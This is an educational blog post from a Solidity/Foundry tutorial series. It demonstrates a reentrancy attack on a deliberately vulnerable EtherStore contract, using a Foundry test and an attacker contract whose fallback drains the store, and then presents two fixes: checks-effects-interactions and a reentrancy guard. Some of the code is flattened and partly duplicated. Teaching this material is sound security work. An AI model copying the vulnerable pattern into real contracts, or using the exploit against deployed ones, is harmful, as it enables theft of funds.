Foundry V- Reentrancy

Solidity Programming Language
3 min readOct 28, 2022

Code: here Thanks ahmet and murat

pragma solidity ^0.7.6;

import “forge-std/Test.sol”;

EtherStore

contract EtherStore {mapping(address => uint256) public balances;function deposit() public payable {balances[msg.sender] += msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] >= _weiToWithdraw);(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");balances[msg.sender] -= _weiToWithdraw;}}

ContractTest

contract ContractTest is Test {EtherStore store;EtherStoreAttack attack;
function setUp() public {store = new EtherStore();attack = new EtherStoreAttack(address(store));vm.deal(address(store), 2 ether);vm.deal(address(attack), 1 ether);}function testReentrancy() public {attack.Attack(); // exploit here}}

EtherStoreAttack

contract EtherStoreAttack is DSTest {EtherStore store;constructor(address _store) public {store = EtherStore(_store);}function Attack() public {emit log_named_decimal_uint("Start attack, EtherStore balance", address(store).balance, 18);
emit log_named_decimal_uint("Start attack, Attacker balance:", address(this).balance, 18);
store.deposit{value: 1 ether}();emit log_named_decimal_uint("Deposited 1 Ether, EtherStore balance", address(store).balance, 18);emit log_string("==================== Start of attack ====================");store.withdrawFunds(1 ether); // exploit hereemit log_string("==================== End of attack ====================");emit log_named_decimal_uint("End of attack, EtherStore balance:", address(store).balance, 18);emit log_named_decimal_uint("End of attack, Attacker balance:", address(this).balance, 18);}fallback() external payable {emit log_named_decimal_uint("EtherStore balance", address(store).balance, 18);emit log_named_decimal_uint("Attacker balance", address(this).balance, 18);if (address(store).balance >= 1 ether) {emit log_string("Reenter");store.withdrawFunds(1 ether); // exploit here}}
EtherStore store;EtherStoreAttack attack;function setUp() public {store = new EtherStore();attack = new EtherStoreAttack(address(store));vm.deal(address(store), 2 ether);vm.deal(address(attack), 1 ether);}function Attack() public {emit log_named_decimal_uint("Start attack, EtherStore balance", address(store).balance, 18);
emit log_named_decimal_uint("Start attack, Attacker balance:", address(this).balance, 18);
store.deposit{value: 1 ether}();emit log_named_decimal_uint("Deposited 1 Ether, EtherStore balance", address(store).balance, 18);emit log_string("==================== Start of attack ====================");store.withdrawFunds(1 ether);   // exploit hereemit log_string("==================== End of attack ====================");emit log_named_decimal_uint("End of attack, EtherStore balance:", address(store).balance, 18);emit log_named_decimal_uint("End of attack, Attacker balance:", address(this).balance, 18);}

HOW!

1- Attacker needs to deposit because withdraw function requires this balances[msg.sender] >= _weiToWithdraw

2-Attacker withdraws his money with the following function

function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] >= _weiToWithdraw);(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");balances[msg.sender] -= _weiToWithdraw;}

Yes he can withdraw his money also this part redirects to fallback function

(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");

because this function needs to have msg.data in the (“”)

You can see fallback function takes the all the money

if (address(store).balance >= 1 ether) {emit log_string("Reenter");store.withdrawFunds(1 ether);   // exploit here}}

SOLUTIONS

1- Checks Effects Interactions

function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] >= _weiToWithdraw);balances[msg.sender] -= _weiToWithdraw;(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");}

2- Use ReentrancyGuard

bool locked; // create this boolen variable// create this modifiermodifier nonReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
// add this modifier to withdrawFundsfunction withdrawFunds(uint256 _weiToWithdraw) public nonReentrant{

Foundry I

Foundry II

Foundry III

Foundry IV

Foundry V

Foundry VI

Associate Professor Engin YILMAZ (VeriDelisi)

--

--

Solidity Programming Language

Solidity basics for beginners: Learn the fundamentals of smart contract development and build your first DApp! #Solidity #Foundry #Ethereum #Opcodes #DApps